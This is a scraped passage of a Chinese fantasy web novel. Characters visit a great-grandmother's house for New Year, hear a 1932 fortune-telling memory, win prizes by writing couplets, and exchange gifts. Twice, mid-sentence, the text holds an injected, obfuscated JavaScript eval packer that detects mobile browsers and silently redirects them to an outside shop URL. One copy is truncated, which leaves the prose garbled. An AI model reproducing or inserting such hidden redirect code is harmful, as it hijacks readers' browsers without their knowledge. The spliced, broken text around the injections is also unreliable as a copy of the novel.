当然啦,打包最困难户的还是温尔雅,花花绿绿的衣服扔了一床,温尔雅皱眉苦思了:这件青色的最贴合我的气质,可大家已经见我穿了好多次了,不够惊喜;这件红的显白,但裁剪太贴身,会不会显得我有些轻浮?这件蓝色的适合见长辈,端庄稳重,但不够引人注目……唔,皮肤保养不能落下,要带上茯苓纤白霜、昆山玉露水,还有护发的何首乌精油、各类配饰…… 没错,哪里有不修边幅的绝色美人呢?作为代表后土大神威仪的大祭司,没有摄人心魄的美貌,怎能让人心悦诚服,奉为焦点?某种程度上来说,祭司跟模特一样,美貌就意味着职业生命!毕竟丑货可是没有露脸资格的,败坏大神的形象。 在大家看不见的地方,温尔雅可是老精致老精致的啦,连梳眉毛的梳子都有两把,这才能保证每次出现在人前时,颜值360度无死角! 既然无法选择,那就全都要,温尔雅下了个成年人的决定。当祝平安看到他那巨大的行李时,惊得嘴巴都合不上了:“你都带了什么东西?只是去我家住三天而已,你是打算长住吗?” 不愿承认自己想尽量显得更美一些,温尔雅一脸淡定地扯谎了:“按照老规矩,上路有路衣,过年穿礼服,日常有便服,睡觉有睡袍,出门在外,有备无患,在下就都带上了,免得要用的时候没有。” 无语地瞪了他一眼,祝平安也懒得管了,反正行李不是她拿。一行人来到大门口,卫珑已经准备停当在那里等着了。 四人依次坐上笼车,祝平安不由得在心里暗暗称赞这车的精美雅洁。跟张松鹤驾驶的笼车完全不一样,这车好像刚刚擦洗过,一尘不染,似乎连拉车的鸟儿都被特意洗刷过一番。座椅上有蓬松柔软的坐垫,地面甚至还铺上了一小块的地毯,踩上去让人如步云间,笼车壁上装点着洁白芳香的梅花,座椅旁边甚至还有几瓶饮料,把客人的需求想的面面俱到,连最爱挑剔的叶霆霓都说不出什么。 “坐好了吗?我们要起飞了。”头顶传来卫珑的询问,在得到肯定的答案后,卫珑这才驾驶着鸟儿飞起来。 祝平安对卫珑那潇洒灵活的飞行风格印象尤深,上车前其实是做好了再晕鸟一次的准备的。然而出乎意料的是,卫珑飞的很稳,颠簸程度跟祝平安生前坐大巴的感觉差不多。 这可不是容易的事情!在空中,气流环境非常复杂,稳定的气流根本不存在,飞得慢要比飞得快难多了,要让笼车如此稳当,需要送魂鸟的翅膀振动频率不断跟着气流起伏进行微调,达成相对速度一致。这就像在台风天里头顶一碗水跳踢踏舞一样,还不能让水洒出来,如此驾驶一次,耗费的心力是让人难以想象的! 饮料、鲜花、格外稳当的飞行……是因为祝平安也在车上,所以想要让她舒服一些吗?祝平安抚摸着笼壁上的鲜花,感受到了卫珑那没说出口的歉意。想不到这个大小姐还真是长大了不少,以前的卫珑,哪里能想到这些? 在这平稳的飞行下,祝平安甚至有兴致俯瞰起下面的景色了,城市在脚下绵延如海,远处的十八层地狱入口散发着明亮的光,头顶悬瀑里大鱼的鳍尾如轻纱飘扬……祝平安在空中轻轻叹出一口气,这景色真的很美,很美。 笼车落地,又见到了熟悉的大宅,祝平安心中不由得燃起一阵归家的激动,几人下了车,祝平安对卫珑示意她可以走了,这才上前摁门铃:“里奥!我回来啦!” 门几乎是瞬间就打开了,里奥从里面迎出来:“可算回来了!”接着,她就一眼看到祝平安身后,如明月般光彩照人的温尔雅。 温尔雅看似只是礼貌地微笑,实际上今天他出门前就精心梳了头发,穿戴上最满意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837492|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的衣饰,现在更是悄悄挺直了脊背,微微侧过头,故意把最好看的角度暴露在里奥眼前。 他不知道自己为什么要这么做,但他希望祝平安的曾外太婆对自己印象好一点,暗自凝聚了十二万分的心力,他扬起一个精雕细琢的笑容,用已经试验过最迷人的声线打招呼了:“您好!” 里奥果然被震得一愣一愣的。 不过这也只是一瞬间,她就想起了自己的身份:“你是温尔雅吧?是教我们平安历代文字课的!” 哦,祝平安对家人提过我了吗? 还来不及矜持的展露微笑,里奥就非常热情地一把攥住了他的手:“温老师赏光来我们家过年,我真是太高兴了,多谢你平常教我们平安功课,这孩子有什么不周到的地方,你该打就打,该骂就骂,我们做家长的绝没二话!” 面对温老师,里奥迅速地进入家长角色了,没办法,在她那个年代,只要教过自己一个字都是师父,必须要非常尊敬才行!里奥自己就吃过家长不尊敬老师的亏,面对“教过祝平安”的温尔雅,她立刻打从心底的尊为上宾:“温老师,你快请进,来杯咖啡,平安,怎么还不帮温老师拿行李呀?” 精雕细琢的微笑在脸上垮掉了,看着祝平安提着他的行李进入大宅,温尔雅眼皮抽搐,在里奥的热情引导下,以温老师的身份进了门。 虽然确实受到了热情欢迎,但是,这跟他想的好像一、点、都、不、一、样! 里奥知道他们要回来,正在屋里搬家具,准备给大家收拾房间呢,只是她一个人干活毕竟是慢了点,到现在也只收拾出一个房间来。当然,这个房间就“先让温老师休息”了,祝平安等人放下行李,立刻换上方便干活的衣服,出来帮忙了。 祝平安在房子里巡视了一圈,发现里奥日常起居的地方还好,可地下室等地方厚厚的都是灰,临近新年,家里人口又多,祝平安便决定干脆来个大扫除,也让屋子焕发一些新气象。 打扫卫生后,还得去买些年货,窗花春联什么的,没有它们就没有过年的气氛。食物也得再买点,里奥不了解林四梅的食量,厨房里的食物可能也就够林四梅自己放开了吃一天的……满满的都是活呀! 不过,不亲自操办这些,过年不就少了几分味道吗?这样想着,祝平安在头上扎好大头巾,干劲满满地开工了。 另一边,卫珑飞回了琢玉学院。 她没有选择回家过年,因为她要做的活很多,也不敢回去面对父母。她每天都要为学院邮送上千封信,自己却从没收到过一封家信,即使是新年的时候也没有。魏校长已经把她的所作所为告知了她家里,父母一定是很生气才这么做的,只怕回去也要遭到几个弟妹笑话。 卫珑驾着送魂鸟飞掠过学院上空,大部分学员都回家了,琢玉学院一片死寂,从前她最爱热闹,现在,卫珑觉得这种寂静很好,这意味着也没人用那种鄙薄的眼神看她了。 愉快地驾着送魂鸟到棚舍,卫珑卸下鸟鞍与笼车,打算把坐垫和地毯收回来,这都是她从自己的宿舍拿过来的,就是为了让今天那特别的乘客体验好一点。就在这时,她发现祝平安坐过的位置有些稍微的不平整。 她好奇地掀开座垫,下面有一个小铁盒,黑底上印着许多俗丽的花,上面写着“万金油”三个大字,卫珑知道这种药剂,似乎是专治跌打扭伤、活血消肿的,对皮肤青肿有奇效。 盒子里头掖着一张指甲大的便条,散发着强烈的薄荷脑味道。卫珑展开那小小的纸头,上面写着一行小字:“新年快乐。” “这味道太辣眼睛了。”卫珑喃喃地道,一滴泪水,吧嗒落在小小的纸头上,洇湿了上面的字迹。 远方,性急的人已经放起了烟花,仿佛已经等不及“爆竹声中一岁除”,要快快地将晦暗的旧岁扫出门外,以便迎接下个万象更新、千风送暖的新年。 24. 老照片 “四梅姐力气大,先到地下室把家具都搬出来。里奥,你跟温尔雅把这些家具上的陈年老灰擦掉,然后看看哪些家具适合给客人用,把它们搬到房间去。霆霓跟我一起打扫二楼,大家加把劲,争取今天睡前就把活干完!” 祝平安挥着抹布指挥若定,几人被她支使的团团乱转,不过对于分工倒是没有什么不满意。扛着拖把和水桶,祝平安跟叶霆霓吭哧吭哧上了二楼。 二楼空房间比一楼少,因为一大块面积被做成了露台,但里奥就住在二楼,所以这里家具更多些,打扫起来自然不如楼下大片大片的空地省力气。 两人打算先从里奥的卧室开始打扫,一进门,叶霆霓的目光就被里奥桌上那张老照片吸引了。 “这照片上的人是你曾外太公吗?” “我也不知道,但是我觉得应该不是,因为里奥好像不怎么喜欢我曾外太公。”祝平安说出自己的揣测了,作为孩子,对于长辈们恩不恩爱可是非常敏感的。 叶霆霓凑上去盯着照片看了半晌,突然语出惊人:“我见过这个人!” 她指着照片上的羞涩男子,语气肯定地说:“虽然那个时候他不是这个样子,但我对他印象很深,一定就是他!” “小点声小点声!别让里奥听见!”有机会窥探长辈们年轻时的故事,祝平安八卦的心被完全调动了,打扫的事情早就抛到脑后,“快跟我说说,怎么一回事?” 叶霆霓的眼眸里泛起回忆的光,她一向以青春少女的模样示人,可这一刻,近百年前的时光长河终究显示出了它的厚重感:“那是在1932年的江城……” 1932年,冬天,除夕夜。 这一天冷的要命,大雪纷纷,长江封冻,残破的晴川阁被大雪覆盖,一片白茫茫下,暴露出几块被烧毁的乌黑瓦片,更显凄凉。路过的人都行色匆匆,无人多看这昔日江城的名胜古迹一眼,更无人去留意街角那个测字算命的摊子。 是啊,时事动荡,大多数人连下顿饭在哪里都不知道,哪有闲心求神问卜?叶霆霓把手笼在袖筒子里,不自觉地发抖,修行人若功力深厚,自可寒暑不侵、吸风饮露,但她入门修道不过三十余年,远没有达到如此境地,故而在这样的鬼天气一样要到街上找饭辙。 年关难过啊……她的牙齿冻得咯哒哒直响,暗自对自己发誓:不需要炸圆子、粉蒸肉这种贵价东西,今天只要搞到吃一碗面条的钱,她就立刻收摊回去。租的破窝棚虽然一样寒冷潮湿,好歹也能挡一挡风。 那个男人就是在此时出现的,在满街饥寒交迫面有菜色的百姓中,他显得那么英武,那么健壮。滚着毛皮边的大氅下,是笔挺的暗绿色呢料军装,大檐帽与领花暗示着此人身份不凡,腰间武装带挂着锃亮的德械枪支,裤缝熨的笔直,锃亮的大马靴一路咯吱咯吱踩着积雪,留下一行步距一致、毫不偏斜的脚印。 这是大鱼! 叶霆霓本不愿招惹军人,这个年头的兵跟匪没有本质区别,买了东西不给钱都是常事,但她今天实在冷得受不住了,便抱着碰运气的想法开口招徕:“将军算命吗?小道是正统茅山传人,测字看相,铁口直断,不准不要钱。” 她做好了那军官无视她的准备,结果那军官的脚步停了,犹疑了半晌,军官居然真的向她走了过来。 叶霆霓立刻打起十二万分精神,殷勤接待了,这位客人一看就位高权重,想来出手不凡,只要把他哄开心,立刻就能过个肥年!她搬来凳子请客人坐下,殷切询问:“测字还是看相?” 军官一推大檐帽,露出了一张俊美的面容,他很年轻,也就是三十出头的样子,他迟疑半晌,似乎在打量叶霆霓值不值得信任。 叶霆霓心知,若不显些本事,客人必定不会轻易相信,好在她确有正统道术在身,真金不怕火炼。一扫男子面相,心中便有了盘算,当下笑吟吟地开口了: “将军五官端正,面带红光,现有平地登云之喜,额如川字,天中见骨,主驿马星临门,必是辗转多地,戎马征战而得功名,不知小道可说准了没有?” 军官不动声色:“我身着军服,身配枪支,任谁都知道我是沙场征战之辈,算不得你的本事。” 早想到此人不好糊弄,叶霆霓不以为意,继续开口:“您上停短,中停长,三庭不均,一生波折,主幼年凄苦,需白手起家,然地阁饱满,两颧辅助,老年必定威权深重,为国家栋梁。” 见那军官仍是面色不动,似乎在嗤笑这些江湖骗子只会说些吉祥话,叶霆霓继续加码:“您眉低压目,连连不断,定是父母见背,破祖离宗;肩耸腰细,只怕早年身为下贱,为人仆役,不知小道说的可对?” 见军官面色忽变,叶霆霓自知已经说中了他的隐秘,继续道:“古人云十全九美,您今后寿禄俱全,只是福气缺了一点。泪堂有痣,一生难有子女;奸门黯黪,与妻生要长离……” “好了!”军官终于开口打断了她,“道姑果然是神算,不是一般的江湖骗子可以比拟,既如此,我便测一个字吧。” “要问什么事情?” “我想要问一个人的行踪。” “寻人是吗?男子还是女子?” “是女子。” 一个清浅的笑容从军官的眼睛里泄露出来,似乎想到那个要找的人就非常开心。叶霆霓察其神色,便知要寻之人必定与其关系不凡,心里便有了底。她拿出纸笔递给军官:“请将要测的字写下来。” 军官抿了抿嘴,抖着手在纸上一笔一划的写了起来,叶霆霓暗想这个人的出身果然很是低微,小时恐怕都没念过书,毕竟正经上过私塾开蒙的人,不会像他一样连毛笔都不会用。 纸上写了一个“归”字,叶霆霓心里一颤,想要寻人,又测归字,这个军官,肯定是非常想要找到那名女子吧? 她细细品味那归字,猛地心念一动,脸色大变。此兆殊为不吉,若是直言说出,只怕惹怒了客人。到时拂袖而去,让她白忙一场还是小事,若是遇上个脾性爆裂的,连她的摊子都要砸了。 这客人眼见是有权有势,又对那要寻的女子如此看重,若触了他的霉头,认真为难起来,寻个理由将她拷进囚营也是小事一桩! 真不该招惹这兵头的……大冷的天,叶霆霓的汗都要下来了,她眼珠子咕噜噜乱转,想要编个瞎话把军官糊弄走。军官皱起眉头,看出来她的窘迫,开口道:“有何见解,但说无妨。” 说罢,他捻出五枚大洋排在桌上:“无论结果好与不好,只要说了实话,这大洋就是你的。若胡说八道,被我看了出来……” 军官冷冷地斜她一眼,目光森然,他身上硝烟铁血的气质像是锋刃一般抵在叶霆霓的咽喉上。叶霆霓一缩脖子,这军官不是开玩笑的。 望着那五枚大洋,叶霆霓抖了抖,伸手先拿了一枚。见军官不反对,又赶忙把剩余四枚都划拉到自己手里。五枚大洋,足够她半年开销,还能让她立刻租到一个有暖炉的小屋,并在“大兴园”酒楼叫一桌上等的席面,这买卖做得!既然这个军官要听实话,那她也就不客气了! “归字问女子之行踪,行踪就在字面中。”叶霆霓斟酌着开口了:“归,女嫁也,帝乙归妹,之子于归,你要问的女子,已经出嫁到夫家去了。” 她本以为年轻军官定会勃然大怒,然而那军官只是微微叹了口气,似乎早已想过这个事实:“她的夫家在哪里?” “归字右边,是个山字,她所在之处,只怕与你远隔重山,甚至可能已经不在中华境内。” “那她,过的开心吗?” 心爱的女子已经嫁为人妇,他却还在意她是否开心吗? 叶霆霓顿了一下,说到:“归,音通愧,她似是觉得亏欠了某人,心中常有愧疚。” 军官闭了闭眼,喃喃道:“愧疚吗?又何必如此,已经多少年了,我是不怪你的……” 接下来,他又问:“那她现在身体怎样,是否平安健康?夫家对她好吗?” 这个就是叶霆霓万万不敢开口的事情了,军官看她面有犹豫,又取出五枚大洋放在桌上:“说实话,我绝不怪罪你!” 死就死吧! 叶霆霓飞快地把大洋收进自己兜里,把眼睛一闭:“归,右侧为一个倒下的山,山峦倾倒,化为黄土,覆在左侧,只怕此女现被黄土覆盖,已是……已是命归阴曹……” 军官脸色大变,豁然起立:“怎会如此!娶了她去,却让她如此年轻就……” 他纵横沙场,手下亡魂也不知有几千几万条,一怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“她是世界上最好的人。”心中虽有万语千言,最终,军官却只是说了这么一句话,站起身,他对叶霆霓礼貌地一颔首,“谢谢你的解答。” 军官迈步向前,叶霆霓赶忙恭送客人,就在军官即将转过街角时,他突然回头,扬声问道:“我死后,还能再见到她的面吗?” 问世间情为何物?上穷碧落下九泉,也想要再见一面。可是幽冥之事,谁能定准?反正叶霆霓是不敢说的,她盯着那军官的脸,方正的下巴上泪痕宛然,鬼使神差地,她开口了:“会见面的。” 军官笑了,这一次,他回头,毫不犹豫地走了,一阵冷风吹来,天边已经微露星子——寒夜就要到了。 一段悠悠的回忆讲完,祝平安托腮凝望着那张老照片:“这个军官,找的人是里奥吗?” “也许是吧。”叶霆霓叹了口气,“在那之后我又活了很久,可再也没见过像他那样的人。他所找的人,一定是他平生的挚爱。” 祝平安轻轻地抚摸照片上的里奥,里奥的笑容是那样轻松活泼,拍下这张照片的时候,应该是里奥一生中最美好的时光吧?无忧无虑,良人在侧,绚烂多姿的人生即将在眼前展开,谁能想到,后来发生了那么多事,她更是年纪轻轻就一命夭亡?想到这里,祝平安甚至有点为自己是未曾谋面的曾外太公的后代而羞愧了。 “平安!打扫完了吗?打扫完就让你同学下来选一下家具!”楼下传来里奥的喊声,吐吐舌头,两人赶快从追忆往昔的氛围里脱离出来,开始加快速度干活了。 那天晚上,祝平安做了一个梦。 她梦见了一个大大的学校,学生们似乎都是军人,年轻的里奥挽着照片上的男子,开心地又蹦又跳: “我们俩都考上黄埔了,我祖父的手再长也伸不到军队来了!咱们自由了!我们将来要一起上战场、当小兵、打军阀,建功立业,最后当上将军,让全中华的民众都过上不受洋人欺负的好日子!” 一仰脸,她笑的俏皮明媚,“等到这些梦想都实现了,我就跟你结婚!” “我们一起快快活活的过上五六十年,生时同睡一个衾枕,死后同埋一个棺材,最后烧成同一把灰,到时候啊,别说我祖父,就是阎王爷也别想再让我们分开!” 这样说完,她好像还嫌不够,扯过一个给大家拍入学照的摄影师,她大大咧咧地提要求了:“今天太值得纪念了!给我和我的未婚夫拍一张合照吧!” 摄影师似乎也非常高兴,毫不犹豫地答应了她的请求。快门一闪,一张照片就新鲜出炉了。 她揽着他,他看着她,她开心的笑着,他羞怯地笑着,无论以后的日子怎样,这一刻,他们是那么、那么的开心,纵使世事变幻莫测,可他们相信,他们会一直在一起。 25. 新年就要有鸿运 第二天,祝平安是被林四梅拍门敲醒的,她一看表,才刚五点。 “搞什么呦,放假还不让人睡个好觉!”祝平安哈欠连天地打开门。 “放假怎么了?练武之人冬练三九夏练三伏,有道是一天不练手就生疏!”林四梅已经穿戴整齐,额头上还有汗珠,像是已经去跑过步了,“快点起来,你家院子这么大,还有柔软的草坪,训练条件比学院还好,不利用起来怎么行?穿上衣服,跟我去练习实战格斗!” 我真是失算了,居然把这么一个战斗狂人叫到我家过年……祝平安一肚子怨念又无可奈何,最后还是起身洗漱,认命的跟林四梅出去训练。 “哈!”林四梅一拳过来,祝平安往后一闪,瞅准时机就是一个下蹲扫堂腿。眼看着就要踢中,忽觉得脚下一轻,居然被林四梅拎着后脖领子提起来了,“犯规!怎么能使这招!” “你知道啥是实战格斗不?敌人难道还跟你讲武德?”林四梅把她轻轻一抛,既不伤到她,又让她狼狈地打了个滚,“再来!” “不来了!你是什么重量级,我是什么重量级,根本不是一个牌面的对手,跟你训练也能叫训练?纯粹是被殴打吧!”祝平安龇牙咧嘴。 “那我允许你持械,这下总行了吧!”林四梅提出让步了。 “这还差不多……”祝平安嘀嘀咕咕,回屋里找出一根里奥拿来锁车子的铁锁链,“来吧!” 身为公共安全部的学员,祝平安的实战格斗课分空手格斗和持械格斗两种,持械格斗只学一种制式武器,就是拘魂索。她学的还算可以,但也分跟谁比,反正跟林四梅这种一辈子都在打仗的人是比不了,但好歹也有了还手之力,不致于像刚才一样被单方面压制。 果然,持械后她的战斗力上涨了不止一筹,一寸长一寸强,铁链舞弄地虎虎生风,林四梅也不敢欺近,局面立刻被扳回一城。 “有点我年轻时候的意思,看来这三个月你也进步不少嘛!”不知道什么时候,里奥也来到院子欣赏她们的训练了,“上呀,一鼓作气拿下她!” 祝平安毕竟经验不足,一听见别人说话就分了心,林四梅瞅准空挡,一个飞扑就把她压在身下,手中武器也被打落,痛的她哎呦直叫。 “还是下盘不稳,别人一扑就倒,以后要多练腰腿。”里奥犀利点评,一点都不在意祝平安的痛叫。 一句话切中肯綮,林四梅大感兴趣地开口了:“您对格斗也有研究?” “年轻的时候我上过黄埔军校,也上过战场呢!”里奥颇为怀念地开口了,“好久没出操,一看见你们练习,搞得我都手痒了!” “那就请下场赐教吧!”林四梅眼睛也亮了,打祝平安这个层次的对手,她可一点不过瘾呢! 里奥也不推却,袖子一挽就要下场,搞的祝平安很担心:“你悠着点,大过年的受伤就麻烦了!” “我不会弄伤她的,放心吧!”里奥一口答应下来。 我不是担心你打伤她,是担心她打伤你!祝平安无语了,不过很快,她发现里奥的自信也是有理由的。 有道是,行家一伸手,就知有没有,只是对拆了三招,林四梅就发现这位曾外太婆的战斗力是祝平安的好几倍。跟她这种势大力沉的选手不同,里奥的脚步扎实稳重,身形却灵活敏捷,恍如穿花蝴蝶,在她身畔不停游走,出手角度出其不意,很难阻挡。 几十回合下来,林四梅已经吃了里奥十几个刺拳,自己却还没摸到对方一根毛,只是她皮糙肉厚,里奥也手下留情,中了几拳也无大碍。倘若现在是持械战斗,里奥手中有把匕首的话,肯定她就已经躺下了,擦擦头上的汗,林四梅主动叫停了:“我认输!” 两下罢手,林四梅佩服地向里奥取经了:“我看得出前辈的步伐似乎融合了西洋剑的路数,可是拳法路数我却看不出来,请前辈指点。” “这是羊城的传统武术蔡拳,我从小喜欢舞刀弄枪的,缠着我爹要学西洋剑,我爹就说要学武的话,中华的玩意儿也不能丢,就请了个武术名家来教我蔡拳。现在武术传人估计少了,你肯定没见过。”里奥见自己宝刀未老,心情很愉悦,“想学吗?我教你啊。” “请不吝赐教!”林四梅这个战斗狂人怎会放过这个机会,两人立刻拉开了架子,开始比比划划了起来。 无奈的摇摇头,祝平安估计今天采买年货是指望不上两人了,昨天是腊月二十九,今天就是除夕,市场一般只在上午营业,不早点出门就没得买了。里奥自己在家的时候懒得做饭,屋里一点存货都没有,全是罐头食品。 叶霆霓表示自己昨天打扫卫生太累,死活不起床。吃罢早餐,祝平安骑着里奥的小三轮摩托,载着唯一能出动的劳力温尔雅去买年货了。 温尔雅声称今天是除夕,要沾点喜气,故而穿着一身水红衫子,越发显得肤白发乌,腰细腿长,有种别样的艳丽。当他得知今天自己要坐在摩托挎斗里出门后,祝平安简直不忍心看他那扭曲发青的面容,感觉自己好像在社会性谋杀他。 她能做出的唯一关怀,就是扯起前襟把温尔雅的脸蒙的严严实实,伴随着两只老虎的欢快旋律,两个人出发往市场去了。 把小摩托停好,温尔雅终于恢复了正常,市场已经是人山人海,吆喝声源源不绝,祝平安直奔咏安百货,拿出浴血奋战的精神,买了满满三大袋东西,累的吭哧吭哧。温尔雅倒是也想分担一点,但刚把东西接过去,周围的人就都向祝平安投来谴责的目光,表示她居然让如此的美男子提包裹,简直是弥天大罪! 被大家的眼神整的如芒在背,祝平安还是把东西抢回来自己提了。她指使温尔雅去□□联、爆竹、挂饰之类的小件,在这方面,温尔雅的眼光肯定要比她好。 “春节大放送!今日来我们咏安百货购物的客人,参加现场写春联活动,即可参与抽奖,奖品多多,不能错过!三等奖东星斑一条,二等奖澳洲龙虾一盒,一等奖阿拉斯加帝王蟹一箱!来来来,幸运儿们不要害羞,上来参加活动呀!” 走到春联区时,祝平安听见一个声音在吆喝,探头一看,正是商店经理。看着礼品展示区那些高级海鲜,祝平安口水滴答了,这么高级的海货,她买不起,但好想吃哦…… “想要参加活动吗?”温尔雅看出来她的心思,温柔询问了。 “当然想了,可是我不会写毛笔字,更不会写春联……”祝平安遗憾地摇头,大螃蟹虽好,但有缘无分呐。 祝平安正想走开,却看见温尔雅挤进人群,高举手报名了:“写春联就能抽奖是吧,让我来试试看!” “您请您请!”经理连忙端上文房四宝,一看温尔雅的脸,更是暗赞今天运气真不错,居然有这样的美男子上台,活动宣传效果肯定能翻一番! 温尔雅执笔在手,挽起袖口,露出莹白如玉的手指,略一思索便挥毫泼墨,片刻之间,一副优美遒劲的书法就跃然纸上了:“梅开五福迎春到,竹报平安送岁和。” 美人佳句,笔走龙蛇,台下观众大饱眼福,轰然叫好。商场经理立刻叫人将这幅春联悬挂在预备好的展示区,满面笑容地送上抽奖箱:“先生请抽奖。” 温尔雅却轻轻摇了摇头:“给台下那个姑娘抽吧。” 咦!我可以抽奖了吗? 祝平安激动地小脸通红,她暗暗双手合十,许愿佛祖保佑,自己一定要抽个头奖,然后闭上眼睛把手伸进抽奖箱来回摸索……唔!就是它了! 祝平安摸出那个纸条,商店经理展开一看,大声宣布:“恭喜这位姑娘,您获得参与奖,面巾纸一包!祝您新年鸿运连连,心想事成!” 没中? 祝平安接过面巾纸,有点小失望,但是头奖哪有那么好中的,她对温尔雅招招手:“走吧走吧,回去还要做饭呢。” 温尔雅却站着没动,他微微侧过头,扬起一个精雕细琢的笑容,询问商店经理了:“我们如 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一幅又一幅的春联被挂在了展示区,而温尔雅依然没有停下,他眼神专注,下笔如有神,春联逐渐挂成一片连绵的红,墨痕凝结出玄妙的黑,台上人红衫似火,乌发飞扬,宛然便是春联佳景中最美的一副。台下的人已经看得呆住了,祝平安身边的安慰奖已经摞成了小山,也不知她的手怎么就那么臭,总是摸不到大奖。 “三等奖,东星斑一条!” 在抽了一百多次后,终于,抽到三等奖了!祝平安开心极了,商店经理也开心了,奖品已经抽到了,这位美男子总该满足了吧? “我们回去吧,三等奖就已经很不错了!”祝平安又招呼温尔雅回家了。 “你最想要的是大螃蟹,不是吗?”温尔雅对她粲然一笑,“再等一会儿,马上就能抽到了!” “可这样多不好意思呀!”祝平安局促地左右看看,“总得给别的客人留点机会吧?” 谁知,台下的客人一致摇头了! “就让他写,我们今天就想看看这位先生到底能写出多少春联!”反正我也不一定能中头奖,还不如看美男子的热闹实惠些!要知道,客人们可是很实际的哦~ 见其他客人不反对,祝平安也就不吭声了,温尔雅活动了一下手腕,继续奋笔疾书起来。商场经理这下汗出如浆了,这……这让他的活动还怎么办下去? 他悄悄对台下打手势,让其他员工拍下现场照片去找董事长,问他怎么办,谁知员工去了半晌,最后只传给他一个信息:董事长说这位是大人物,让我们不惜代价好好招待! 经理……经理还能怎么办呢?既然董事长都不在意,那他就“好好招待”这位大人物吧。 一小时后,温尔雅共计撰写了366幅春联,奖池已经被抽空,祝平安摸出最后一张奖签,此时,台下的人已经沸腾了! 商店经理面色复杂地将帝王蟹发给祝平安:“恭喜这位姑娘,您获得一等奖,阿拉斯加帝王蟹一盒。祝您新年鸿运连连,心想事成!” 说到这里,经理觉得这句“鸿运连连、心想事成”有些多余,有那位大人物相伴,她此生不管走多少霉运,都能心想事成吧? 此时,她们的东西已经多的根本不是人能拿得动的程度了,只能叫了一辆马车拉回去。在颠簸的马车上,温尔雅看着祝平安抱紧大螃蟹,幻想着怎么一蟹三吃的呆样子,笑意温柔。“愿你新的一年好运相伴,永享幸福。”不自觉地,温尔雅诚挚地说出了自己的新年祝福。 “谢谢,也祝你好运!”祝平安也诚心诚意地道谢了,说罢,她把自己的外套丢给温尔雅:“赶紧把脸挡起来吧,你现在这个样子可不能见人。” 我的样子?我现在什么样子? 温尔雅心念一动,转头四顾,自己坐在一大堆花花绿绿的面巾纸、纸尿裤里,左手拎着一条死不瞑目的鱼,右手夹着两只大龙虾,活脱脱一个赶集村妇,怪不得路人都傻站着看自己。 果然是不能见人啊啊啊啊啊!!! 温尔雅火速扯过外套把头包好了,马车哒哒走的非常欢快,今天的温尔雅,也逃不过社会性死亡的命运呢~ 26. 假期总是短暂的 “为温尔雅干杯!若不是他,我们今天可吃不到这么豪华的海鲜大餐!” “干杯干杯!” 桌上杯盘宛然,蟹肉饭、烤蟹钳、蒸蟹腿一蟹三吃,大龙虾一只用蒜蓉蒸,一只用奶油烩,东星斑撒上葱姜用砂锅一焗,再加鸡鸭青菜,豪华程度堪比国宴。众人共同举杯,向温尔雅致意,感谢他为大家赢取了这么美味的晚宴。 “只有食材不成宴席,大家的手艺也很重要。”笑吟吟地,温尔雅把功劳归功于大家了,“尤其是里奥,这个法式奶油烩龙虾做的真不错,浓郁柔滑,风味很独特呢。” 里奥立刻高兴地昂起头了,礼尚往来般,她也夸奖温尔雅了:“还是温老师厉害,又懂书法,人长得又好看!我们平安以后还要仰赖你照顾,来来来,我敬温老师一杯!” 几人热热闹闹的推杯换盏,眼看大家都已经颇为餍足,祝平安心想,是该拿出那个的时候了。 假借去厨房泡茶,祝平安回到自己的房间掏出礼物:一支配刺刀的莫辛纳甘步枪。 这是她花了好多心思才在□□一个学员手中收过来的,里奥对她这么好,她却一直没送过礼物给里奥,心里真是过不去。当她发现那位学员手中有一只北伐时期的老步枪时,想到里奥那样喜欢北伐军歌,祝平安死缠烂打了一个星期,终于把这枪搞到了手。 那时候她还不知道里奥上过黄埔军校,又上过战场,现在想来,里奥应该参加的就是北伐,那么,里奥应该会喜欢这个礼物吧? 祝平安像是做贼一样把枪藏在背后,悄悄地溜进餐厅,里奥对此毫无察觉,还在揽着林四梅侃蔡拳呢。 “新年快乐,里奥!”祝平安红着脸递出自己的礼物了,“这个送给你,我想你会喜欢!” 里奥还带着笑跟人闲话呢,好半天,她才意识到祝平安递给她什么东西。她猛地把枪拿起来,拉弹匣,开保险,上刺刀,上膛瞄准,一气呵成。 里奥的动作太帅了!一看当年就是练过!祝平安看着曾外太婆的英姿惊叹了。 里奥觉得有点恍惚。 手中的步枪灰扑扑的,满是划痕,彰显着它饱经沧桑的过去,可是刺刀依然寒光四射,历经百年依然无法掩饰它的锋芒。那熟悉的沉甸甸的重量,那么冰凉,又火热的让她颤抖……一切都回来了,那在靶场苦练射击的岁月,在沙场上冲锋陷阵的岁月,她都握着它,就好像紧抓着自己命运的权杖。 拿着它的时候,她总感到自己无所不能、战无不胜,而失去了它之后,她也就被生活打断了脊梁,坠落进无常的深渊。它是她的青春、她的荣誉、她的力量,她所热爱的一切…… 如今,这个老伙计又回来了,真好,真好。 轻轻抚摸着这个礼物,迎上那孩子期待的眼瞳,她沉默的站起身,给了祝平安一个轻轻的拥抱。 里奥喜欢真是太好了——祝平安脸红红地想。 然而,今夜的惊喜还不止于此,拥抱完毕后,里奥从自己的口袋里掏出了一个红包递给祝平安。 “这是?” “新年红包,怎么说我也是你的曾外太婆,过年还是要给晚辈一些表示的。”里奥矜持地说,祝平安意识到,这是里奥第一次说出自己是祝平安的曾外太婆。 “打开看看吧,我想你也一定会喜欢的。” 在众人期待的目光下,祝平安打开了那个红纸包,仔细一看,嗯?空的? 她把红包翻过来抖了抖,一把闪亮的铜钥匙落在她手心。 “这是房子的钥匙。”里奥看出了她的疑惑,笑着开口了,“以后想要回来的话,不用写信来问,随时回来,这儿永远是你的家。” 